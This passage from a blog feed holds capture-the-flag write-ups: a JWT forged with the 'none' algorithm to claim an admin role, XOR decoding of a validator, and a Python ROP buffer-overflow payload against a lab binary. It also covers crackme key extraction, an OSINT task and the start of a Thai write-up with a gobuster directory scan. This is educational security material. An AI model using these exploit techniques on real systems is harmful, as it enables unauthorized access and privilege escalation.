      &quot;demand_usd&quot;: 287
    },
    {
      &quot;id&quot;: 24,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 55.23,
      &quot;y&quot;: 50.91,
      &quot;demand_usd&quot;: 321
    },
    {
      &quot;id&quot;: 25,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 93.59,
      &quot;y&quot;: 20.17,
      &quot;demand_usd&quot;: 361
    }
  ],
  &quot;n&quot;: 25,
  &quot;max_total_distance&quot;: 538.16
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the easiest manual way is plotting and find way that nearest or shortest path, then draw a line down it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*5bAZLMQP8Vzd2C0utBTE3g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;25,3,10,6,8,1,17,24,16,21,5,20,14,22,11,15,18,19,13,12,2,9,7,4,23&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;and the easiest (automatic) way is using AI plotting this &amp;amp; answer LOL&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*RKKuwieDwI2LXMfzMWMkrw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Poverty Registry&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*BoIUu084C3UyYIKIkmmjrA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;objective is create a jwt cookie with the admin role&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*H0IYMGNH5EPW3qG9iF7VpA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This response is from “GET Info” button&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AXy45tCMVj31nJlwQoPnJA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;“GET JWKS” this give us jwt cookie&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ijk3ZWFlNGNiODEzODgyNzcifQ.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoidXNlciIsImlhdCI6MTc3OTIwMjg0NSwiZXhwIjoxNzc5MjA2NDQ1fQ.JaKSpufmzVecFB4CT2BZIKp6qbtPVeObYFUx6Y1NuvA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*fzJ91ZZYAmU_wtH3tRlxxQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;“GET pubket (PEM)”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*YXLaMV2-OJF_SOzVwHGQ9w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I’m using &lt;a href=&quot;https://jwt.io&quot;&gt;jwt.io&lt;/a&gt; for decode jwt cookie&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*dtEhg3p_QaJZCIXpXGdgxQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;the safety way to create jwt with a valid signature using the HS256 algorithm is use correct secret key, However, we do not know the secret key.&lt;/p&gt;
&lt;p&gt;second option is use the RS256 algorithm. This requires a private key for signing secret key. But we only have access to the public key&lt;/p&gt;
&lt;p&gt;last option is not use any algorithm at all. It sounds quite funny, but we still need to try it haha&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3ETppjTP00VHFcarZsxZcA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;AND IT WORK LOL (I dont know how)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*1ew14yKIBk_R7kfJz6zpZA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Stipend Validator&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*J-lHY1uVufNJNAhkLiXklg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*-nFIfi6Ymc43MeIilqbm-A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;first let’s take a look at the logic of this code&lt;/p&gt;
&lt;p&gt;Input:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check the length, which must be equal to _0xff.length&lt;/li&gt;
&lt;li&gt;XOR each charCode with the key&lt;/li&gt;
&lt;li&gt;If the result is not equal to _0xff[i], the validation fails&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;this codesimply performs a normal XOR&lt;/p&gt;
&lt;p&gt;as explained in “Poverty Action Cipher” :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;plaintext &lt;strong&gt;xor&lt;/strong&gt; key = cipher&lt;/p&gt;
&lt;p&gt;cipher &lt;strong&gt;xor&lt;/strong&gt; plaintext = key&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;if we have any two out of these three things, we can recover the third one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var _0xff=[0x98,0x9f,0x87,0x2d,0x0a,0xae,0x3c,0xb3,0xc8,0x99,0x84,0x2e,0x09,0xae,0x6d,0xb3,0xc3,0x91,0x86,0x2b,0x5b,0xaa,0x6f,0xee];
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;var _0x77=[0xfa,0xa9,0xe2,0x18,0x39,0x9a,0x59,0x8a];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;let’s decode it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*7IHsOA6iq2IJRw7GkDYOiA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*pjvFARq151Cjn_DKZ1uQHQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Ration Kiosk&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*GQD4YhdSujfo5EwGr7z7vA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we in reverse engineer section! this is my best part ever ever ever ver ver ver ver vevevef veevev&lt;/p&gt;
&lt;p&gt;Let’s start hacking it!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*gtjli8Iob76a6kHHs2djww.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This binary was compiled without PIE, so we can easily determine the actual addresses of its functions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kkWNBuW0k53kLzoneuSYig.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I’m guessing it might related to a buffer overflow vuln&lt;/p&gt;
&lt;p&gt;let’s check the function that might give us the flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nm Ration_Kiosk | grep -E &quot;give|flag|admin|handle|main&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*FMFAcfrpjQCQMESuie2GXw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;take a look at &lt;strong&gt;handle_request&lt;/strong&gt; function&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*dv4ayJVqRK26Z_aGV0SkdQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To make it easier to read, I’ll put these assembly code in &lt;a href=&quot;https://www.codeconvert.ai/assembly-to-c-converter&quot;&gt;Assembly to C Converter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hgZNiAS6oH-xmORiXvlX9A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void handle_request() {
    char buffer[72];
    long nbytes;
    write(1, (void*)0x47e050, 7);
    nbytes = read(0, buffer, 0x400); // 0x400 = 1024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The buffer size is only 72 bytes, but the “read” function reads up to 1024 bytes into it.&lt;/p&gt;
&lt;p&gt;It’s clearly buffer overflow&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;important&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;However, if we create a payload, we need to reference the buffer bytes from the assembly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;give_flag&lt;/strong&gt; function is our goal (&lt;strong&gt;0x4017b9&lt;/strong&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004017b9 &amp;lt;give_flag&amp;gt;:
  4017b9:       55                      push   %rbp
  4017ba:       48 89 e5                mov    %rsp,%rbp
  4017bd:       48 83 ec 70             sub    $0x70,%rsp
  4017c1:       48 89 7d 98             mov    %rdi,-0x68(%rbp)
  4017c5:       48 89 75 90             mov    %rsi,-0x70(%rbp)
...
  401831:       0f b6 44 05 e0          movzbl -0x20(%rbp,%rax,1),%eax
  401836:       31 c2                   xor    %eax,%edx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;give_flag()&lt;/strong&gt; receives a value (8 bytes int) as the key directly, not an address&lt;/p&gt;
&lt;p&gt;0x4017c1 &amp;amp; 0x 4017c5 is store values from rdi &amp;amp; rsi into the stack&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(In x86–64 Linux, the ROP chain passes arguments to a function using &lt;strong&gt;rdi&lt;/strong&gt; as the first argument &amp;amp; &lt;strong&gt;rsi&lt;/strong&gt; as the second argument)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Brief summary :&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This means that the &lt;strong&gt;give_flag&lt;/strong&gt; function cannot directly create a flag; it must accept an arguments, which is a keys, to generate the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Next, we need find the keys used as the arguments for the &lt;strong&gt;give_flag&lt;/strong&gt; function&lt;/p&gt;
&lt;p&gt;I took the results from the &lt;strong&gt;nm&lt;/strong&gt; command and used &lt;strong&gt;chatgpt&lt;/strong&gt; to filter global variables that were created, not those of the program by default.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*o3z-5SP7f4tUTSgwvEcaQQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;so i think the keys is &lt;strong&gt;subsidy_alpha&lt;/strong&gt; &amp;amp; &lt;strong&gt;subsidy_beta&lt;/strong&gt; because we need 2 arguments for the function, and these 2 variables names are related&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004aa0e0 D subsidy_alpha
00000000004aa200 D subsidy_beta
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;as you can see, we can do a ROP gadgets in &lt;strong&gt;admin_audit&lt;/strong&gt; function&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;pop %rdi; ret&lt;/p&gt;
&lt;p&gt;pop %rsi; ret&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*0wdQUwOGOx59gPMb_j7WxA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;calculate offset (from start to return address) &lt;strong&gt;handle_request&lt;/strong&gt; function&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*BkTIuoDWDkoLeKnVrkEQTw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;0x50 + 8 = 0x58 = 88 bytes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;now we ready to create the payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &quot;
import struct
# addresses
pop_rdi   = 0x4017b5
pop_rsi   = 0x4017b7
give_flag = 0x4017b9
# key values
alpha_val = 0xdad72c2af45285e0
beta_val  = 0x27de289ed9f65f24
# offset to return address
offset = 0x50 + 8  # = 88
def p64(val):
    return struct.pack(&apos;&amp;lt;Q&apos;, val)  # little-endian 8 bytes
payload  = b&apos;A&apos; * offset   # padding
payload += p64(pop_rdi)    # gadget: pop rdi; ret
payload += p64(alpha_val)  # -&amp;gt;rdi = subsidy_alpha
payload += p64(pop_rsi)    # gadget: pop rsi; ret
payload += p64(beta_val)   # -&amp;gt;rsi = subsidy_beta
payload += p64(give_flag)  # -&amp;gt;give_flag(rdi, rsi)
print(f&apos;Total payload: {len(payload)} bytes&apos;)
with open(&apos;payload.bin&apos;, &apos;wb&apos;) as f:
    f.write(payload)
print(&apos;Saved: payload.bin&apos;)
print(&apos;Hex:&apos;, payload.hex())
&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we have finished creating the payload, now we are ready to sent the payload to this executable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat payload.bin | ./Ration_Kiosk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UmUVR2Y3QCRPIdPhpxYTrg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌BasicIncome Crackme&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*rSo1ilstGA1AmBoYAxZcrw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*CWCFN4f_0kIjPSxiBGzZzQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First we need to find the entry point &amp;amp; main function&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hk1uaioGpcrihhWGtH1hMA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;we can that the address of main function is at 0x401680&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Nh5nAJa9mDmHx3syAV177g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*GH7guiM_60DNFHHOnV8n6g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
/**
 * External global/static data identified from memory addresses.
 * Based on the assembly offsets (e.g., 0x47e008, 0x47e0d0).
 */
// 0x47e008: &quot;Please enter the license key: &quot; (length 0x23)
const char* STRING_47e008 = &quot;Please enter the license key: &quot;;
// 0x47e061: &quot;Key: &quot; (length 0xe)
const char* STRING_47e061 = &quot;Key: &quot;;
// 0x47e030: &quot;Invalid key format. Please try again.\n&quot; (length 0x30)
const char* STRING_47e030 = &quot;Invalid key format. Please try again.\n&quot;;
// 0x47e070: &quot;Wrong key!\n&quot; (length 0xc)
const char* STRING_47e070 = &quot;Wrong key!\n&quot;;
// 0x47e07d: &quot;Flag decrypted: &quot; (length 0x13)
const char* STRING_47e07d = &quot;Flag decrypted: &quot;;
// 0x47e0e0: XOR mask for validation (8 bytes used with and 0x7)
const uint8_t DATA_47e0e0[] = { /* Content depends on binary, placeholder for logic */ };
// 0x47e0d0: Expected comparison values after XOR (16 bytes)
const uint8_t DATA_47e0d0[] = { /* Content depends on binary */ };
// 0x47e0a0: Ciphertext for flag decryption (40 bytes / 0x28)
const uint8_t DATA_47e0a0[] = { /* Content depends on binary */ };
/**
 * Standard Library / External Function Mappings:
 * 0x40acf0: likely fwrite or similar stream output
 * 0x40a960: likely fflush
 * 0x40aa50: likely fgets
 * 0x4010c8: likely strlen
 * 0x40cd90: likely fputc or putchar
 * 0x4aa6c8: likely stdout
 * 0x4aa6d0: likely stderr or a specific log stream
 * 0x4aa6d8: likely stdin
 */
// Mock pointers for FILE streams
extern FILE *stream_4aa6c8; // stdout
extern FILE *stream_4aa6d0; // stderr/log
extern FILE *stream_4aa6d8; // stdin
int validate_and_decrypt() {
    // 401680: push rbx
    // 401694: add rsp, -0x80 (Local stack allocation)
    uint8_t stack_buffer[128]; 
    uint8_t *rbx;
    size_t rax;
    
    // 401681: pxor xmm0, xmm0
    // 40169f - 4016bd: zero out part of the stack
    memset(&amp;amp;stack_buffer[0x30], 0, 80); 
    // 401685 - 4016bd: fwrite(STRING_47e008, 1, 0x23, stdout)
    fwrite(STRING_47e008, 1, 0x23, stream_4aa6c8);
    // 4016c2 - 4016d8: fwrite(STRING_47e061, 1, 0xe, stdout)
    fwrite(STRING_47e061, 1, 0xe, stream_4aa6c8);
    // 4016dd - 4016e4: fflush(stdout)
    fflush(stream_4aa6c8);
    // 4016e9 - 4016f8: fgets(rbx, 0x50, stdin)
    rbx = &amp;amp;stack_buffer[0x30];
    if (fgets((char*)rbx, 0x50, stream_4aa6d8) == NULL) {
        // 401700: je 0x40184c
        goto label_40184c;
    }
    // 401709: call strlen
    rax = strlen((char*)rbx);
    // 40170e - 401711: test rax, rax; jne 40172d
    if (rax == 0) {
        // 401713: jmp 0x401831
        goto label_401831;
    }
    // Loop to trim trailing Newlines/Carriage Returns
    while (rax != 0) {
        // 40172d: mov rcx, rax
        size_t rcx = rax;
        // 401730: sub rax, 1
        rax--;
        // 401734: movzx edx, BYTE PTR [rbx+rax*1]
        uint8_t dl = rbx[rax];
        // 401738 - 40173b: cmp dl, 0xa; je 0x401720
        // 40173d - 401740: cmp dl, 0xd; je 0x401720
        if (dl == 0x0a || dl == 0x0d) {
            // 401720: mov BYTE PTR [rbx+rax*1], 0x0
            rbx[rax] = 0;
            // 401724: test rax, rax; je 401831
            if (rax == 0) goto label_401831;
            continue;
        }
        
        // 401742: cmp rcx, 0x10
        if (rcx != 0x10) {
            // 401746: jne 0x401831
            goto label_401831;
        }
        break;
    }
    // 40174c - 40177a: (Various NOPs for alignment)
    // Key Validation Loop (16 iterations)
    // 401780:
    for (rax = 0; rax &amp;lt; 0x10; rax++) {
        // 401783: and edx, 0x7
        uint32_t rdx_idx = (uint32_t)rax &amp;amp; 0x7;
        // 401786: movzx edx, BYTE PTR [rdx+0x47e0e0]
        uint8_t dl = DATA_47e0e0[rdx_idx];
        // 40178d: xor dl, BYTE PTR [rbx+rax*1]
        dl ^= rbx[rax];
        // 401790: cmp BYTE PTR [rax+0x47e0d0], dl
        if (DATA_47e0d0[rax] != dl) {
            // 401796: jne 0x401853
            goto label_401853;
        }
    }
    // 4017a6 - 4017b3: Clear 0x29 bytes at rsp (using rep stos)
    // Note: rbx is reassigned to rsp here in asm, but used as output buffer
    uint8_t output_buffer[0x29];
    memset(output_buffer, 0, 0x29);
    // Flag Decryption Loop (40 iterations)
    // 4017c0:
    for (rax = 0; rax &amp;lt; 0x28; rax++) {
        // 4017c3: and edx, 0xf
        uint32_t rdx_idx = (uint32_t)rax &amp;amp; 0xf;
        // 4017c6: movzx edx, BYTE PTR [rsp+rdx*1+0x30] (Uses indices from the input key)
        uint8_t dl = rbx[rdx_idx];
        // 4017cb: xor dl, BYTE PTR [rax+0x47e0a0]
        dl ^= DATA_47e0a0[rax];
        // 4017d1: mov BYTE PTR [output_buffer+rax*1], dl
        output_buffer[rax] = dl;
    }
    // 4017de - 4017f4: fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0)
    fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0);
    // 4017f9 - 4017fc: call strlen(output_buffer)
    rax = strlen((char*)output_buffer);
    // 401801 - 401813: fwrite(output_buffer, 1, rax, stream_4aa6d0)
    fwrite(output_buffer, 1, rax, stream_4aa6d0);
    // 401818 - 401824: fputc(&apos;\n&apos;, stream_4aa6d0)
    fputc(0x0a, stream_4aa6d0);
    // 401829: xor eax, eax
    // 40182b - 401830: Epilogue
    return 0;
label_401831:
    // 401831 - 401847: fwrite(STRING_47e030, 1, 0x30, stdout)
    fwrite(STRING_47e030, 1, 0x30, stream_4aa6c8);
label_40184c:
    // 40184c: mov eax, 1
    return 1;
label_401853:
    // 401853 - 401869: fwrite(STRING_47e070, 1, 0xc, stdout)
    fwrite(STRING_47e070, 1, 0xc, stream_4aa6c8);
    // 40186e: jmp 0x40184c
    goto label_40184c;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flow of this executable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x401680: print banner
0x4016c2: print &quot;household_id&amp;gt; &quot;
0x4016e4: flush stdout
0x4016f8: fgets(buf, 0x50, stdin)   read input in rbx (buf on stack)
0x401700: je 0x40184c               if fgets give NULL -&amp;gt; done
0x401709: strlen(buf)
0x401711: jne 0x40172d              if len != 0 -&amp;gt; continue
0x401742: cmp rcx, 0x10             check length == 16?
0x401746: jne 0x401831              if not -&amp;gt; &quot;Ineligible&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’ve found the Validation Loop — the heart of the problem. (in the code above)&lt;/p&gt;
&lt;p&gt;From this code, we can create the following equation :&lt;/p&gt;
&lt;p&gt;EXPECTED[i] == input[i] XOR KEY[i % 8]&lt;/p&gt;
&lt;p&gt;therefore :&lt;/p&gt;
&lt;p&gt;input[i] = EXPECTED[i] XOR KEY[i % 8]&lt;/p&gt;
&lt;p&gt;now we extract the EXPECTED and KEY values from the binary&lt;/p&gt;
&lt;p&gt;let take a look at LOAD Segments of ELF&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*m41bIikHUYgdgbf6AwJPKw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Based on the LOAD, it could be inferred that &lt;strong&gt;0x47e0e0&lt;/strong&gt; &amp;amp; &lt;strong&gt;0x47e0d0&lt;/strong&gt; might be our EXPECTED and KEY.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*GMmjX5L_rnKxcMnvnK4tfQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KEY      @ VA 0x47e0e0  →  file offset 0x7e0e0   (8 bytes)
EXPECTED @ VA 0x47e0d0  →  file offset 0x7e0d0   (16 bytes)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ObxL9nhy0UOpqO2na8F0PQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;calculate the Household ID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KEY      = bytes.fromhex(&quot;16b056fb28f0ac27&quot;)
EXPECTED = bytes.fromhex(&quot;2ed660ca1e959813278360cd1dc99c14&quot;)
household_id = bytes([EXPECTED[i] ^ KEY[i % 8] for i in range(16)])
print(household_id.decode())  # → 8f616e4413665903
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;after finished validation, we found Voucher Generation Loop&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Loop i = 0..39 (40 bytes)
0x4017c0:  mov  rdx, rax
0x4017c3:  and  edx, 0xf                       ; rdx = i % 16
0x4017c6:  movzx edx, [rsp + rdx + 0x30]       ; = input[i % 16]
0x4017cb:  xor  dl, [rax + 0x47e0a0]           ; XOR with VOUCHER_TABLE[i]
0x4017d1:  mov  [rbx + rax], dl                ; store result
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;VOUCHER_TABLE = data[0x7e0a0 : 0x7e0a0+40]
voucher = bytes([VOUCHER_TABLE[i] ^ household_id[i % 16] for i in range(40)])
print(voucher.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;now everything is ready, let sent the payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &quot;d=open(&apos;BasicIncome_Crackme&apos;,&apos;rb&apos;).read();k=d[0x7e0e0:0x7e0e8];e=d[0x7e0d0:0x7e0e0];print(bytes([e[i]^k[i%8]for i in range(16)]).decode())&quot; | ./BasicIncome_Crackme
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;📌Slum Pinpoint&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*nShsfUayZQT8Jdkz0v43nw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;now we’re in the osint section! YAY! YAY! (I hate it!)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UAuHwG9DI4Z1kMT53OXjVw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:674/format:webp/1*WOyOByPsJFV6NndjjryukQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:662/format:webp/1*exn_N5hDrLeBdTJ1rdsQSg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:666/format:webp/1*k5ObYjK67mhi6FcZ10Worg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I use google, google ai &amp;amp; google map in this question ദ്ദി(ᵔᗜᵔ)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*HY7cYPwl_roUq3fYo-rF-g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1146/format:webp/1*W9AWh14Hi-ikLwGND4EypA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:440/format:webp/0*vzmmqbqLsVnOjHbL.gif&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Wanlai 💦| DropCTF</title><link>https://fuwari.vercel.app/posts/8wanlaictf/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/8wanlaictf/</guid><description>สวัสดีครับผม Sho จากทีม scan นะครับ วันนี้จะแสดงวิธีทำโจทย์ต่างๆทั้งหมด 16 ข้อ ขอขอบคุณ dropctf ที่จัดกิจกรรมสนุกๆนะครับ โจทย์แต่ละอันสร้างสรรค์มากๆ ครั้งก่อนก็ roblox ครั้งนี้มี minecraft 555555</description><pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Wanlai 💦| DropCTF&lt;/h1&gt;
&lt;p&gt;สวัสดีครับผม Sho จากทีม scan นะครับ วันนี้จะแสดงวิธีทำโจทย์ต่างๆทั้งหมด 16 ข้อ ขอขอบคุณ dropctf ที่จัดกิจกรรมสนุกๆนะครับ โจทย์แต่ละอันสร้างสรรค์มากๆ ครั้งก่อนก็ roblox ครั้งนี้มี minecraft 555555&lt;/p&gt;
&lt;p&gt;เรามาเริ่มข้อแรกกันเลยดีกว่า&lt;/p&gt;
&lt;h2&gt;WEB | Category&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Songkran Festival Proxy&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*fR7SSh17fmdA5r5VKKqrgA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*l_apNHzzbXo7yTJTBEcqyQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จะเจอ Endpoint จากนั้นก็ Fuzz หา directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.88.128.29 -w ~/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จะเจอว่ามี /admin 403 โผล่มา พอ curl ก็เจอว่า Forbidden&lt;/p&gt;
